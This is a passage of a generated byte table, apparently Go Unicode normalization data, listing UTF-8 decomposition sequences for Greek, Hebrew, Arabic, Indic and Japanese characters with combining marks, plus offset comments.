0xB9, 0xCC, 0x88, 0xCC, 0x80, + 0xCE, 0x06, 0xCE, 0xB9, 0xCC, 0x88, 0xCC, 0x81, + 0xCE, 0x06, 0xCE, 0xB9, 0xCC, 0x88, 0xCD, 0x82, + 0xCE, 0x06, 0xCE, 0xB9, 0xCC, 0x93, 0xCC, 0x80, + 0xCE, 0x06, 0xCE, 0xB9, 0xCC, 0x93, 0xCC, 0x81, + 0xCE, 0x06, 0xCE, 0xB9, 0xCC, 0x93, 0xCD, 0x82, + 0xCE, 0x06, 0xCE, 0xB9, 0xCC, 0x94, 0xCC, 0x80, + 0xCE, 0x06, 0xCE, 0xB9, 0xCC, 0x94, 0xCC, 0x81, + // Bytes 3f80 - 3fbf + 0xCE, 0x06, 0xCE, 0xB9, 0xCC, 0x94, 0xCD, 0x82, + 0xCE, 0x06, 0xCE, 0xBF, 0xCC, 0x93, 0xCC, 0x80, + 0xCE, 0x06, 0xCE, 0xBF, 0xCC, 0x93, 0xCC, 0x81, + 0xCE, 0x06, 0xCE, 0xBF, 0xCC, 0x94, 0xCC, 0x80, + 0xCE, 0x06, 0xCE, 0xBF, 0xCC, 0x94, 0xCC, 0x81, + 0xCE, 0x06, 0xCF, 0x85, 0xCC, 0x88, 0xCC, 0x80, + 0xCE, 0x06, 0xCF, 0x85, 0xCC, 0x88, 0xCC, 0x81, + 0xCE, 0x06, 0xCF, 0x85, 0xCC, 0x88, 0xCD, 0x82, + // Bytes 3fc0 - 3fff + 0xCE, 0x06, 0xCF, 0x85, 0xCC, 0x93, 0xCC, 0x80, + 0xCE, 0x06, 0xCF, 0x85, 0xCC, 0x93, 0xCC, 0x81, + 0xCE, 0x06, 0xCF, 0x85, 0xCC, 0x93, 0xCD, 0x82, + 0xCE, 0x06, 0xCF, 0x85, 0xCC, 0x94, 0xCC, 0x80, + 0xCE, 0x06, 0xCF, 0x85, 0xCC, 0x94, 0xCC, 0x81, + 0xCE, 0x06, 0xCF, 0x85, 0xCC, 0x94, 0xCD, 0x82, + 0xCE, 0x06, 0xCF, 0x89, 0xCC, 0x80, 0xCD, 0x85, + 0xDE, 0x06, 0xCF, 0x89, 0xCC, 0x81, 0xCD, 0x85, + // Bytes 4000 - 403f + 0xDE, 0x06, 0xCF, 0x89, 0xCC, 0x93, 0xCD, 0x85, + 0xDE, 0x06, 0xCF, 0x89, 0xCC, 0x94, 0xCD, 0x85, + 0xDE, 0x06, 0xCF, 0x89, 0xCD, 0x82, 0xCD, 0x85, + 0xDE, 0x06, 0xE0, 0xA4, 0xA8, 0xE0, 0xA4, 0xBC, + 0x0D, 0x06, 0xE0, 0xA4, 0xB0, 0xE0, 0xA4, 0xBC, + 0x0D, 0x06, 0xE0, 0xA4, 0xB3, 0xE0, 0xA4, 0xBC, + 0x0D, 0x06, 0xE0, 0xB1, 0x86, 0xE0, 0xB1, 0x96, + 0x89, 0x06, 0xE0, 0xB7, 0x99, 0xE0, 0xB7, 0x8A, + // Bytes 4040 - 407f + 0x15, 0x06, 0xE3, 0x81, 0x86, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x81, 0x8B, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x81, 0x8D, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x81, 0x8F, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x81, 0x91, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x81, 0x93, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x81, 0x95, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x81, 0x97, 0xE3, 0x82, 0x99, + // Bytes 4080 - 40bf + 0x11, 0x06, 0xE3, 0x81, 0x99, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x81, 0x9B, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x81, 0x9D, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x81, 0x9F, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x81, 0xA1, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x81, 0xA4, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x81, 0xA6, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x81, 0xA8, 0xE3, 0x82, 0x99, + // Bytes 40c0 - 40ff + 0x11, 0x06, 0xE3, 0x81, 0xAF, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x81, 0xAF, 0xE3, 0x82, 0x9A, + 0x11, 0x06, 0xE3, 0x81, 0xB2, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x81, 0xB2, 0xE3, 0x82, 0x9A, + 0x11, 0x06, 0xE3, 0x81, 0xB5, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x81, 0xB5, 0xE3, 0x82, 0x9A, + 0x11, 0x06, 0xE3, 0x81, 0xB8, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x81, 0xB8, 0xE3, 0x82, 0x9A, + // Bytes 4100 - 413f + 0x11, 0x06, 0xE3, 0x81, 0xBB, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x81, 0xBB, 0xE3, 0x82, 0x9A, + 0x11, 0x06, 0xE3, 0x82, 0x9D, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x82, 0xA6, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x82, 0xAB, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x82, 0xAD, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x82, 0xAF, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x82, 0xB1, 0xE3, 0x82, 0x99, + // Bytes 4140 - 417f + 0x11, 0x06, 0xE3, 0x82, 0xB3, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x82, 0xB5, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x82, 0xB7, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x82, 0xB9, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x82, 0xBB, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x82, 0xBD, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x82, 0xBF, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x83, 0x81, 0xE3, 0x82, 0x99, + // Bytes 4180 - 41bf + 0x11, 0x06, 0xE3, 0x83, 0x84, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x83, 0x86, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x83, 0x88, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x83, 0x8F, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x83, 0x8F, 0xE3, 0x82, 0x9A, + 0x11, 0x06, 0xE3, 0x83, 0x92, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x83, 0x92, 0xE3, 0x82, 0x9A, + 0x11, 0x06, 0xE3, 0x83, 0x95, 0xE3, 0x82, 0x99, + // Bytes 41c0 - 41ff + 0x11, 0x06, 0xE3, 0x83, 0x95, 0xE3, 0x82, 0x9A, + 0x11, 0x06, 0xE3, 0x83, 0x98, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x83, 0x98, 0xE3, 0x82, 0x9A, + 0x11, 0x06, 0xE3, 0x83, 0x9B, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x83, 0x9B, 0xE3, 0x82, 0x9A, + 0x11, 0x06, 0xE3, 0x83, 0xAF, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x83, 0xB0, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x83, 0xB1, 0xE3, 0x82, 0x99, + // Bytes 4200 - 423f + 0x11, 0x06, 0xE3, 0x83, 0xB2, 0xE3, 0x82, 0x99, + 0x11, 0x06, 0xE3, 0x83, 0xBD, 0xE3, 0x82, 0x99, + 0x11, 0x08, 0xCE, 0x91, 0xCC, 0x93, 0xCC, 0x80, + 0xCD, 0x85, 0xDF, 0x08, 0xCE, 0x91, 0xCC, 0x93, + 0xCC, 0x81, 0xCD, 0x85, 0xDF, 0x08, 0xCE, 0x91, + 0xCC, 0x93, 0xCD, 0x82, 0xCD, 0x85, 0xDF, 0x08, + 0xCE, 0x91, 0xCC, 0x94, 0xCC, 0x80, 0xCD, 0x85, + 0xDF, 0x08, 0xCE, 0x91, 0xCC, 0x94, 0xCC, 0x81, + // Bytes 4240 - 427f + 0xCD, 0x85, 0xDF, 0x08, 0xCE, 0x91, 0xCC, 0x94, + 0xCD, 0x82, 0xCD, 0x85, 0xDF, 0x08, 0xCE, 0x97, + 0xCC, 0x93, 0xCC, 0x80, 0xCD, 0x85, 0xDF, 0x08, + 0xCE, 0x97, 0xCC, 0x93, 0xCC, 0x81, 0xCD, 0x85, + 0xDF, 0x08, 0xCE, 0x97, 0xCC, 0x93, 0xCD, 0x82, + 0xCD, 0x85, 0xDF, 0x08, 0xCE, 0x97, 0xCC, 0x94, + 0xCC, 0x80, 0xCD, 0x85, 0xDF, 0x08, 0xCE, 0x97, + 0xCC, 0x94, 0xCC, 0x81, 0xCD, 0x85, 0xDF, 0x08, + // Bytes 4280 - 42bf + 0xCE, 0x97, 0xCC, 0x94, 0xCD, 0x82, 0xCD, 0x85, + 0xDF, 0x08, 0xCE, 0xA9, 0xCC, 0x93, 0xCC, 0x80, + 0xCD, 0x85, 0xDF, 0x08, 0xCE, 0xA9, 0xCC, 0x93, + 0xCC, 0x81, 0xCD, 0x85, 0xDF, 0x08, 0xCE, 0xA9, + 0xCC, 0x93, 0xCD, 0x82, 0xCD, 0x85, 0xDF, 0x08, + 0xCE, 0xA9, 0xCC, 0x94, 0xCC, 0x80, 0xCD, 0x85, + 0xDF, 0x08, 0xCE, 0xA9, 0xCC, 0x94, 0xCC, 0x81, + 0xCD, 0x85, 0xDF, 0x08, 0xCE, 0xA9, 0xCC, 0x94, + // Bytes 42c0 - 42ff + 0xCD, 0x82, 0xCD, 0x85, 0xDF, 0x08, 0xCE, 0xB1, + 0xCC, 0x93, 0xCC, 0x80, 0xCD, 0x85, 0xDF, 0x08, + 0xCE, 0xB1, 0xCC, 0x93, 0xCC, 0x81, 0xCD, 0x85, + 0xDF, 0x08, 0xCE, 0xB1, 0xCC, 0x93, 0xCD, 0x82, + 0xCD, 0x85, 0xDF, 0x08, 0xCE, 0xB1, 0xCC, 0x94, + 0xCC, 0x80, 0xCD, 0x85, 0xDF, 0x08, 0xCE, 0xB1, + 0xCC, 0x94, 0xCC, 0x81, 0xCD, 0x85, 0xDF, 0x08, + 0xCE, 0xB1, 0xCC, 0x94, 0xCD, 0x82, 0xCD, 0x85, + // Bytes 4300 - 433f + 0xDF, 0x08, 0xCE, 0xB7, 0xCC, 0x93, 0xCC, 0x80, + 0xCD, 0x85, 0xDF, 0x08, 0xCE, 0xB7, 0xCC, 0x93, + 0xCC, 0x81, 0xCD, 0x85, 0xDF, 0x08, 0xCE, 0xB7, + 0xCC, 0x93, 0xCD, 0x82, 0xCD, 0x85, 0xDF, 0x08, + 0xCE, 0xB7, 0xCC, 0x94, 0xCC, 0x80, 0xCD, 0x85, + 0xDF, 0x08, 0xCE, 0xB7, 0xCC, 0x94, 0xCC, 0x81, + 0xCD, 0x85, 0xDF, 0x08, 0xCE, 0xB7, 0xCC, 0x94, + 0xCD, 0x82, 0xCD, 0x85, 0xDF, 0x08, 0xCF, 0x89, + // Bytes 4340 - 437f + 0xCC, 0x93, 0xCC, 0x80, 0xCD, 0x85, 0xDF, 0x08, + 0xCF, 0x89, 0xCC, 0x93, 0xCC, 0x81, 0xCD, 0x85, + 0xDF, 0x08, 0xCF, 0x89, 0xCC, 0x93, 0xCD, 0x82, + 0xCD, 0x85, 0xDF, 0x08, 0xCF, 0x89, 0xCC, 0x94, + 0xCC, 0x80, 0xCD, 0x85, 0xDF, 0x08, 0xCF, 0x89, + 0xCC, 0x94, 0xCC, 0x81, 0xCD, 0x85, 0xDF, 0x08, + 0xCF, 0x89, 0xCC, 0x94, 0xCD, 0x82, 0xCD, 0x85, + 0xDF, 0x08, 0xF0, 0x91, 0x82, 0x99, 0xF0, 0x91, + // Bytes 4380 - 43bf + 0x82, 0xBA, 0x0D, 0x08, 0xF0, 0x91, 0x82, 0x9B, + 0xF0, 0x91, 0x82, 0xBA, 0x0D, 0x08, 0xF0, 0x91, + 0x82, 0xA5, 0xF0, 0x91, 0x82, 0xBA, 0x0D, 0x42, + 0xC2, 0xB4, 0x01, 0x43, 0x20, 0xCC, 0x81, 0xCD, + 0x43, 0x20, 0xCC, 0x83, 0xCD, 0x43, 0x20, 0xCC, + 0x84, 0xCD, 0x43, 0x20, 0xCC, 0x85, 0xCD, 0x43, + 0x20, 0xCC, 0x86, 0xCD, 0x43, 0x20, 0xCC, 0x87, + 0xCD, 0x43, 0x20, 0xCC, 0x88, 0xCD, 0x43, 0x20, + // Bytes 43c0 - 43ff + 0xCC, 0x8A, 0xCD, 0x43, 0x20, 0xCC, 0x8B, 0xCD, + 0x43, 0x20, 0xCC, 0x93, 0xCD, 0x43, 0x20, 0xCC, + 0x94, 0xCD, 0x43, 0x20, 0xCC, 0xA7, 0xA9, 0x43, + 0x20, 0xCC, 0xA8, 0xA9, 0x43, 0x20, 0xCC, 0xB3, + 0xB9, 0x43, 0x20, 0xCD, 0x82, 0xCD, 0x43, 0x20, + 0xCD, 0x85, 0xDD, 0x43, 0x20, 0xD9, 0x8B, 0x5D, + 0x43, 0x20, 0xD9, 0x8C, 0x61, 0x43, 0x20, 0xD9, + 0x8D, 0x65, 0x43, 0x20, 0xD9, 0x8E, 0x69, 0x43, + // Bytes 4400 - 443f + 0x20, 0xD9, 0x8F, 0x6D, 0x43, 0x20, 0xD9, 0x90, + 0x71, 0x43, 0x20, 0xD9, 0x91, 0x75, 0x43, 0x20, + 0xD9, 0x92, 0x79, 0x43, 0x41, 0xCC, 0x8A, 0xCD, + 0x43, 0x73, 0xCC, 0x87, 0xCD, 0x44, 0x20, 0xE3, + 0x82, 0x99, 0x11, 0x44, 0x20, 0xE3, 0x82, 0x9A, + 0x11, 0x44, 0xC2, 0xA8, 0xCC, 0x81, 0xCE, 0x44, + 0xCE, 0x91, 0xCC, 0x81, 0xCD, 0x44, 0xCE, 0x95, + 0xCC, 0x81, 0xCD, 0x44, 0xCE, 0x97, 0xCC, 0x81, + // Bytes 4440 - 447f + 0xCD, 0x44, 0xCE, 0x99, 0xCC, 0x81, 0xCD, 0x44, + 0xCE, 0x9F, 0xCC, 0x81, 0xCD, 0x44, 0xCE, 0xA5, + 0xCC, 0x81, 0xCD, 0x44, 0xCE, 0xA5, 0xCC, 0x88, + 0xCD, 0x44, 0xCE, 0xA9, 0xCC, 0x81, 0xCD, 0x44, + 0xCE, 0xB1, 0xCC, 0x81, 0xCD, 0x44, 0xCE, 0xB5, + 0xCC, 0x81, 0xCD, 0x44, 0xCE, 0xB7, 0xCC, 0x81, + 0xCD, 0x44, 0xCE, 0xB9, 0xCC, 0x81, 0xCD, 0x44, + 0xCE, 0xBF, 0xCC, 0x81, 0xCD, 0x44, 0xCF, 0x85, + // Bytes 4480 - 44bf + 0xCC, 0x81, 0xCD, 0x44, 0xCF, 0x89, 0xCC, 0x81, + 0xCD, 0x44, 0xD7, 0x90, 0xD6, 0xB7, 0x35, 0x44, + 0xD7, 0x90, 0xD6, 0xB8, 0x39, 0x44, 0xD7, 0x90, + 0xD6, 0xBC, 0x45, 0x44, 0xD7, 0x91, 0xD6, 0xBC, + 0x45, 0x44, 0xD7, 0x91, 0xD6, 0xBF, 0x4D, 0x44, + 0xD7, 0x92, 0xD6, 0xBC, 0x45, 0x44, 0xD7, 0x93, + 0xD6, 0xBC, 0x45, 0x44, 0xD7, 0x94, 0xD6, 0xBC, + 0x45, 0x44, 0xD7, 0x95, 0xD6, 0xB9, 0x3D, 0x44, + // Bytes 44c0 - 44ff + 0xD7, 0x95, 0xD6, 0xBC, 0x45, 0x44, 0xD7, 0x96, + 0xD6, 0xBC, 0x45, 0x44, 0xD7, 0x98, 0xD6, 0xBC, + 0x45, 0x44, 0xD7, 0x99, 0xD6, 0xB4, 0x29, 0x44, + 0xD7, 0x99, 0xD6, 0xBC, 0x45, 0x44, 0xD7, 0x9A, + 0xD6, 0xBC, 0x45, 0x44, 0xD7, 0x9B, 0xD6, 0xBC, + 0x45, 0x44, 0xD7, 0x9B, 0xD6, 0xBF, 0x4D, 0x44, + 0xD7, 0x9C, 0xD6, 0xBC, 0x45, 0x44, 0xD7, 0x9E, + 0xD6, 0xBC, 0x45, 0x44, 0xD7, 0xA0, 0xD6, 0xBC, + // Bytes 4500 - 453f + 0x45, 0x44, 0xD7, 0xA1, 0xD6, 0xBC, 0x45, 0x44, + 0xD7, 0xA3, 0xD6, 0xBC, 0x45, 0x44, 0xD7, 0xA4, + 0xD6, 0xBC, 0x45, 0x44, 0xD7, 0xA4, 0xD6, 0xBF, + 0x4D, 0x44, 0xD7, 0xA6, 0xD6, 0xBC, 0x45, 0x44, + 0xD7, 0xA7, 0xD6, 0xBC, 0x45, 0x44, 0xD7, 0xA8, + 0xD6, 0xBC, 0x45, 0x44, 0xD7, 0xA9, 0xD6, 0xBC, + 0x45, 0x44, 0xD7, 0xA9, 0xD7, 0x81, 0x51, 0x44, + 0xD7, 0xA9, 0xD7, 0x82, 0x55, 0x44, 0xD7, 0xAA, + // Bytes 4540 - 457f + 0xD6, 0xBC, 0x45, 0x44, 0xD7, 0xB2, 0xD6, 0xB7, + 0x35, 0x44, 0xD8, 0xA7, 0xD9, 0x8B, 0x5D, 0x44, + 0xD8, 0xA7, 0xD9, 0x93, 0xCD, 0x44, 0xD8, 0xA7, + 0xD9, 0x94, 0xCD, 0x44, 0xD8, 0xA7, 0xD9, 0x95, + 0xB9, 0x44, 0xD8, 0xB0, 0xD9, 0xB0, 0x7D, 0x44, + 0xD8, 0xB1, 0xD9, 0xB0, 0x7D, 0x44, 0xD9, 0x80, + 0xD9, 0x8B, 0x5D, 0x44, 0xD9, 0x80, 0xD9, 0x8E, + 0x69, 0x44, 0xD9, 0x80, 0xD9, 0x8F, 0x6D, 0x44, + // Bytes 4580 - 45bf + 0xD9, 0x80, 0xD9, 0x90, 0x71, 0x44, 0xD9, 0x80, + 0xD9, 0x91, 0x75, 0x44, 0xD9, 0x80, 0xD9, 0x92, + 0x79, 0x44, 0xD9, 0x87, 0xD9, 0xB0, 0x7D, 0x44, + 0xD9, 0x88, 0xD9, 0x94, 0xCD, 0x44, 0xD9, 0x89, + 0xD9, 0xB0, 0x7D, 0x44, 0xD9, 0x8A, 0xD9, 0x94, + 0xCD, 0x44, 0xDB, 0x92, 0xD9, 0x94, 0xCD, 0x44, + 0xDB, 0x95, 0xD9, 0x94, 0xCD, 0x45, 0x20, 0xCC, + 0x88, 0xCC, 0x80, 0xCE, 0x45, 0x20, 0xCC, 0x88, + // Bytes 45c0 - 45ff + 0xCC, 0x81, 0xCE, 0x45, 0x20, 0xCC, 0x88, 0xCD, + 0x82, 0xCE, 0x45, 0x20, 0xCC, 0x93, 0xCC, 0x80, + 0xCE, 0x45, 0x20, 0xCC, 0x93, 0xCC, 0x81, 0xCE, + 0x45, 0x20, 0xCC, 0x93, 0xCD, 0x82, 0xCE, 0x45, + 0x20, 0xCC, 0x94, 0xCC, 0x80, 0xCE, 0x45, 0x20, + 0xCC, 0x94, 0xCC, 0x81, 0xCE, 0x45, 0x20, 0xCC, + 0x94, 0xCD, 0x82, 0xCE, 0x45, 0x20, 0xD9, 0x8C, + 0xD9, 0x91, 0x76, 0x45, 0x20, 0xD9, 0x8D, 0xD9, + // Bytes 4600 - 463f + 0x91, 0x76, 0x45, 0x20, 0xD9, 0x8E, 0xD9, 0x91, + 0x76, 0x45, 0x20, 0xD9, 0x8F, 0xD9, 0x91, 0x76, + 0x45, 0x20, 0xD9, 0x90, 0xD9, 0x91, 0x76, 0x45, + 0x20, 0xD9, 0x91, 0xD9, 0xB0, 0x7E, 0x45, 0xE2, + 0xAB, 0x9D, 0xCC, 0xB8, 0x05, 0x46, 0xCE, 0xB9, + 0xCC, 0x88, 0xCC, 0x81, 0xCE, 0x46, 0xCF, 0x85, + 0xCC, 0x88, 0xCC, 0x81, 0xCE, 0x46, 0xD7, 0xA9, + 0xD6, 0xBC, 0xD7, 0x81, 0x52, 0x46, 0xD7, 0xA9, + // Bytes 4640 - 467f + 0xD6, 0xBC, 0xD7, 0x82, 0x56, 0x46, 0xD9, 0x80, + 0xD9, 0x8E, 0xD9, 0x91, 0x76, 0x46, 0xD9, 0x80, + 0xD9, 0x8F, 0xD9, 0x91, 0x76, 0x46, 0xD9, 0x80, + 0xD9, 0x90, 0xD9, 0x91, 0x76, 0x46, 0xE0, 0xA4, + 0x95, 0xE0, 0xA4, 0xBC, 0x0D, 0x46, 0xE0, 0xA4, + 0x96, 0xE0, 0xA4, 0xBC, 0x0D, 0x46, 0xE0, 0xA4, + 0x97, 0xE0, 0xA4, 0xBC, 0x0D, 0x46, 0xE0, 0xA4, + 0x9C, 0xE0, 0xA4, 0xBC, 0x0D, 0x46, 0xE0, 0xA4, + // Bytes 4680 - 46bf + 0xA1, 0xE0, 0xA4, 0xBC, 0x0D, 0x46, 0xE0, 0xA4, + 0xA2, 0xE0, 0xA4, 0xBC, 0x0D, 0x46, 0xE0, 0xA4, + 0xAB, 0xE0, 0xA4, 0xBC, 0x0D, 0x46, 0xE0, 0xA4, + 0xAF, 0xE0, 0xA4, 0xBC, 0x0D, 0x46, 0xE0, 0xA6, + 0xA1, 0xE0, 0xA6, 0xBC, 0x0D, 0x46, 0xE0, 0xA6, + 0xA2, 0xE0, 0xA6, 0xBC, 0x0D, 0x46, 0xE0, 0xA6, + 0xAF, 0xE0, 0xA6, 0xBC, 0x0D, 0x46, 0xE0, 0xA8, + 0x96, 0xE0, 0xA8, 0xBC, 0x0D, 0x46, 0xE0, 0xA8, + // Bytes 46c0 - 46ff + 0x97, 0xE0, 0xA8, 0xBC, 0x0D, 0x46, 0xE0, 0xA8, + 0x9C, 0xE0, 0xA8, 0xBC, 0x0D, 0x46, 0xE0, 0xA8, + 0xAB, 0xE0, 0xA8, 0xBC, 0x0D, 0x46, 0xE0, 0xA8, + 0xB2, 0xE0, 0xA8, 0xBC, 0x0D, 0x46, 0xE0, 0xA8, + 0xB8, 0xE0, 0xA8, 0xBC, 0x0D, 0x46, 0xE0, 0xAC, + 0xA1, 0xE0, 0xAC, 0xBC, 0x0D, 0x46, 0xE0, 0xAC, + 0xA2, 0xE0, 0xAC, 0xBC, 0x0D, 0x46, 0xE0, 0xBE, + 0xB2, 0xE0, 0xBE, 0x80, 0xA1, 0x46, 0xE0, 0xBE, + // Bytes 4700 - 473f + 0xB3, 0xE0, 0xBE, 0x80, 0xA1, 0x46, 0xE3, 0x83, + 0x86, 0xE3, 0x82, 0x99, 0x11, 0x48, 0xF0, 0x9D, + 0x85, 0x97, 0xF0, 0x9D, 0x85, 0xA5, 0xB1, 0x48, + 0xF0, 0x9D, 0x85, 0x98, 0xF0, 0x9D, 0x85, 0xA5, + 0xB1, 0x48, 0xF0, 0x9D, 0x86, 0xB9, 0xF0, 0x9D, + 0x85, 0xA5, 0xB1, 0x48, 0xF0, 0x9D, 0x86, 0xBA, + 0xF0, 0x9D, 0x85, 0xA5, 0xB1, 0x49, 0xE0, 0xBE, + 0xB2, 0xE0, 0xBD, 0xB1, 0xE0, 0xBE, 0x80, 0xA2, + // Bytes 4740 - 477f + 0x49, 0xE0, 0xBE, 0xB3, 0xE0, 0xBD, 0xB1, 0xE0, + 0xBE, 0x80, 0xA2, 0x4C, 0xF0, 0x9D, 0x85, 0x98, + 0xF0, 0x9D, 0x85, 0xA5, 0xF0, 0x9D, 0x85, 0xAE, + 0xB2, 0x4C, 0xF0, 0x9D, 0x85, 0x98, 0xF0, 0x9D, + 0x85, 0xA5, 0xF0, 0x9D, 0x85, 0xAF, 0xB2, 0x4C, + 0xF0, 0x9D, 0x85, 0x98, 0xF0, 0x9D, 0x85, 0xA5, + 0xF0, 0x9D, 0x85, 0xB0, 0xB2, 0x4C, 0xF0, 0x9D, + 0x85, 0x98, 0xF0, 0x9D, 0x85, 0xA5, 0xF0, 0x9D, + // Bytes 4780 - 47bf + 0x85, 0xB1, 0xB2, 0x4C, 0xF0, 0x9D, 0x85, 0x98, + 0xF0, 0x9D, 0x85, 0xA5, 0xF0, 0x9D, 0x85, 0xB2, + 0xB2, 0x4C, 0xF0, 0x9D, 0x86, 0xB9, 0xF0, 0x9D, + 0x85, 0xA5, 0xF0, 0x9D, 0x85, 0xAE, 0xB2, 0x4C, + 0xF0, 0x9D, 0x86, 0xB9, 0xF0, 0x9D, 0x85, 0xA5, + 0xF0, 0x9D, 0x85, 0xAF, 0xB2, 0x4C, 0xF0, 0x9D, + 0x86, 0xBA, 0xF0, 0x9D, 0x85, 0xA5, 0xF0, 0x9D, + 0x85, 0xAE, 0xB2, 0x4C, 0xF0, 0x9D, 0x86, 0xBA, + // Bytes 47c0 - 47ff + 0xF0, 0x9D, 0x85, 0xA5, 0xF0, 0x9D, 0x85, 0xAF, + 0xB2, 0x83, 0x41, 0xCC, 0x82, 0xCD, 0x83, 0x41, + 0xCC, 0x86, 0xCD, 0x83, 0x41, 0xCC, 0x87, 0xCD, + 0x83, 0x41, 0xCC, 0x88, 0xCD, 0x83, 0x41, 0xCC, + 0x8A, 0xCD, 0x83, 0x41, 0xCC, 0xA3, 0xB9, 0x83, + 0x43, 0xCC, 0xA7, 0xA9, 0x83, 0x45, 0xCC, 0x82, + 0xCD, 0x83, 0x45, 0xCC, 0x84, 0xCD, 0x83, 0x45, + 0xCC, 0xA3, 0xB9, 0x83, 0x45, 0xCC, 0xA7, 0xA9, + // Bytes 4800 - 483f + 0x83, 0x49, 0xCC, 0x88, 0xCD, 0x83, 0x4C, 0xCC, + 0xA3, 0xB9, 0x83, 0x4F, 0xCC, 0x82, 0xCD, 0x83, + 0x4F, 0xCC, 0x83, 0xCD, 0x83, 0x4F, 0xCC, 0x84, + 0xCD, 0x83, 0x4F, 0xCC, 0x87, 0xCD, 0x83, 0x4F, + 0xCC, 0x88, 0xCD, 0x83, 0x4F, 0xCC, 0x9B, 0xB1, + 0x83, 0x4F, 0xCC, 0xA3, 0xB9, 0x83, 0x4F, 0xCC, + 0xA8, 0xA9, 0x83, 0x52, 0xCC, 0xA3, 0xB9, 0x83, + 0x53, 0xCC, 0x81, 0xCD, 0x83, 0x53, 0xCC, 0x8C, + // Bytes 4840 - 487f + 0xCD, 0x83, 0x53, 0xCC, 0xA3, 0xB9, 0x83, 0x55, + 0xCC, 0x83, 0xCD, 0x83, 0x55, 0xCC, 0x84, 0xCD, + 0x83, 0x55, 0xCC, 0x88, 0xCD, 0x83, 0x55, 0xCC, + 0x9B, 0xB1, 0x83, 0x61, 0xCC, 0x82, 0xCD, 0x83, + 0x61, 0xCC, 0x86, 0xCD, 0x83, 0x61, 0xCC, 0x87, + 0xCD, 0x83, 0x61, 0xCC, 0x88, 0xCD, 0x83, 0x61, + 0xCC, 0x8A, 0xCD, 0x83, 0x61, 0xCC, 0xA3, 0xB9, + 0x83, 0x63, 0xCC, 0xA7, 0xA9, 0x83, 0x65, 0xCC, + // Bytes 4880 - 48bf + 0x82, 0xCD, 0x83, 0x65, 0xCC, 0x84, 0xCD, 0x83, + 0x65, 0xCC, 0xA3, 0xB9, 0x83, 0x65, 0xCC, 0xA7, + 0xA9, 0x83, 0x69, 0xCC, 0x88, 0xCD, 0x83, 0x6C, + 0xCC, 0xA3, 0xB9, 0x83, 0x6F, 0xCC, 0x82, 0xCD, + 0x83, 0x6F, 0xCC, 0x83, 0xCD, 0x83, 0x6F, 0xCC, + 0x84, 0xCD, 0x83, 0x6F, 0xCC, 0x87, 0xCD, 0x83, + 0x6F, 0xCC, 0x88, 0xCD, 0x83, 0x6F, 0xCC, 0x9B, + 0xB1, 0x83, 0x6F, 0xCC, 0xA3, 0xB9, 0x83, 0x6F, + // Bytes 48c0 - 48ff + 0xCC, 0xA8, 0xA9, 0x83, 0x72, 0xCC, 0xA3, 0xB9, + 0x83, 0x73, 0xCC, 0x81, 0xCD, 0x83, 0x73, 0xCC, + 0x8C, 0xCD, 0x83, 0x73, 0xCC, 0xA3, 0xB9, 0x83, + 0x75, 0xCC, 0x83, 0xCD, 0x83, 0x75, 0xCC, 0x84, + 0xCD, 0x83, 0x75, 0xCC, 0x88, 0xCD, 0x83, 0x75, + 0xCC, 0x9B, 0xB1, 0x84, 0xCE, 0x91, 0xCC, 0x93, + 0xCD, 0x84, 0xCE, 0x91, 0xCC, 0x94, 0xCD, 0x84, + 0xCE, 0x95, 0xCC, 0x93, 0xCD, 0x84, 0xCE, 0x95, + // Bytes 4900 - 493f + 0xCC, 0x94, 0xCD, 0x84, 0xCE, 0x97, 0xCC, 0x93, + 0xCD, 0x84, 0xCE, 0x97, 0xCC, 0x94, 0xCD, 0x84, + 0xCE, 0x99, 0xCC, 0x93, 0xCD, 0x84, 0xCE, 0x99, + 0xCC, 0x94, 0xCD, 0x84, 0xCE, 0x9F, 0xCC, 0x93, + 0xCD, 0x84, 0xCE, 0x9F, 0xCC, 0x94, 0xCD, 0x84, + 0xCE, 0xA5, 0xCC, 0x94, 0xCD, 0x84, 0xCE, 0xA9, + 0xCC, 